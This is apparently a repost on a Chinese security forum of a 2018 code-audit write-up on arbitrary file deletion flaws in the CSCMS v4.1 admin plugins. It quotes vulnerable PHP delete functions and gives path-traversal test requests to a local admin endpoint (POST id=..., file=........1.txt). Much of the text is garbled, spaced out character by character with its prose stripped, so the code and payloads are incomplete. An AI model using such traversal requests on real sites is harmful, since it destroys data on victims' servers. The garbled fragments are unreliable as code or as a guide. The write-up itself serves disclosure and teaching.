[869] 2018-07-09_【代码审计】任意文件删除漏洞实例

文档创建者:s7ckTeam
浏览次数:9
最后更新:2025-01-16
2018-07-09_【代码审计】任意文件删除漏洞实例   B y p a s s   B y p a s s   2 0 1 8 - 0 7 - 0 9 0 x 0 0               C S C M S 0 x 0 1   C S C M S   h t t p : / / w w w . c h s h c m s . c o m C s c m s _ v 4 . 1 2 0 1 7 - 0 6 - 0 5 h t t p s : / / g i t h u b . c o m / c h s h c m s / c s c m s 0 x 0 2   c s c m s p l u g i n s s y s a d m i n B a s e d b . p h p     1 6 0 - 1 7 7 1 t e s t p u b l i c   f u n c t i o n   d e l ( ) {         $ d i r   =   $ t h i s - > i n p u t - > g e t _ p o s t ( ' i d ' , t r u e ) ;         i f ( e m p t y ( $ d i r ) ) {                 g e t j s o n ( L ( ' p l u b _ 1 1 ' ) ) ;         }         $ d i r s   =   a r r a y ( ) ;         i f ( ! i s _ a r r a y ( $ d i r ) ) {                 $ d i r s [ ]   =   $ d i r ;         } e l s e {                 $ d i r s   =   $ d i r ;         }         f o r e a c h ( $ d i r s   a s   $ d i r )   {                 d e l d i r ( F C P A T H . ' a t t a c h m e n t / b a c k u p / ' . $ d i r ) ;         }         $ i n f o [ ' m s g ' ]   =   L ( ' p l u b _ 1 2 ' ) ;         $ i n f o [ ' u r l ' ]   =   s i t e _ u r l ( ' b a s e d b / r e s t o r e ' ) . ' ? v = ' . r a n d ( 1 0 0 0 , 9 9 9 9 ) ;         g e t j s o n ( $ i n f o , 0 ) ; }
2 t e s t h t t p : / / 1 2 7 . 0 . 0 . 1 / a d m i n . p h p / b a s e d b / d e l P O S T : i d = . . . . t e s t 0 x 0 2   / p l u g i n s / s y s / a d m i n / S k i n . p h p   4 1 8 - - 4 4 0
1 . t x t U R L P a y l o a d h t t p : / / 1 2 7 . 0 . 0 . 1 / a d m i n . p h p / s k i n / d e l ? a c = p c & o p = s k i n s & d i r s = d e f a u l t & f i l e = . . . . . . . . 1 . t x t 0 x 0 3   / p l u g i n s / s y s / a d m i n / P l u g i n s . p h p   2 8 5 - 2 9 9 p u b l i c   f u n c t i o n   d e l ( ) {         $ a c   =   $ t h i s - > i n p u t - > g e t ( ' a c ' , t r u e ) ;         $ o p   =   $ t h i s - > i n p u t - > g e t ( ' o p ' , t r u e ) ;         $ d i r   =   $ t h i s - > i n p u t - > g e t ( ' d i r s ' , t r u e ) ;         $ f i l e   =   $ t h i s - > i n p u t - > g e t ( ' f i l e ' ) ;         i f ( $ a c ! = ' m o b i l e ' )   $ a c = ' p c ' ;         i f ( $ o p ! = ' h o m e '   & &   $ o p ! = ' u s e r ' )   $ o p = ' s k i n s ' ;         i f ( e m p t y ( $ d i r ) )   g e t j s o n ( L ( ' p l u b _ 2 7 ' ) ) ;         $ s k i n _ d i r   =   V I E W P A T H . $ a c . F G F . $ o p . F G F . $ d i r . F G F . $ f i l e ;         i f   ( ! i s _ d i r ( $ s k i n _ d i r ) )   {     / /                     $ r e s = u n l i n k ( $ s k i n _ d i r ) ;         } e l s e {     / /                     $ r e s = d e l d i r ( $ s k i n _ d i r ) ;         }         i f ( $ r e s ) {                 $ i n f o [ ' u r l ' ]   =   s i t e _ u r l ( ' s k i n ' ) . ' ? a c = ' . $ a c . ' & o p = ' . $ o p . ' & v = ' . r a n d ( 1 0 0 0 , 9 9 9 9 ) ;                 $ i n f o [ ' m s g ' ]   =   L ( ' p l u b _ 4 6 ' ) ;                 $ i n f o [ ' t u r n ' ]   =   1 ;                 g e t j s o n ( $ i n f o , 0 ) ;         } e l s e {                 g e t j s o n ( L ( ' p l u b _ 2 8 ' ) ) ;         }
0 x 0 4     ·   ·   ·   ·   ·   ·   E a s y S N S _ V 1 . 6 G e t s h e l l   S Q L t a m p e r   M I P C M S   G e t s h e l l   C L T P H P _ v 5 . 5 . 3 X M L B y p a s s p u b l i c   f u n c t i o n   d e l ( ) {         $ d i r   =   $ t h i s - > i n p u t - > g e t _ p o s t ( ' d i r ' , t r u e ) ;         i f ( $ d i r = = ' ' ) {                 g e t j s o n ( L ( ' p l u b _ d e l _ 0 ' ) , 1 ) ;         }         d e l d i r ( F C P A T H . ' p l u g i n s ' . F G F . $ d i r . F G F ) ;         / /         d e l d i r ( C S C M S . $ d i r . F G F ) ;         / /         d e l d i r ( F C P A T H . ' t p l / a d m i n / ' . $ d i r . F G F ) ;         $ i n f o [ ' f u n c ' ]   =   _ _ F U N C T I O N _ _ ;         $ i n f o [ ' m s g ' ]   =   L ( ' p l u b _ d e l _ 1 ' ) ;         g e t j s o n ( $ i n f o , 0 ) ; }
A b o u t   M e W A F
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则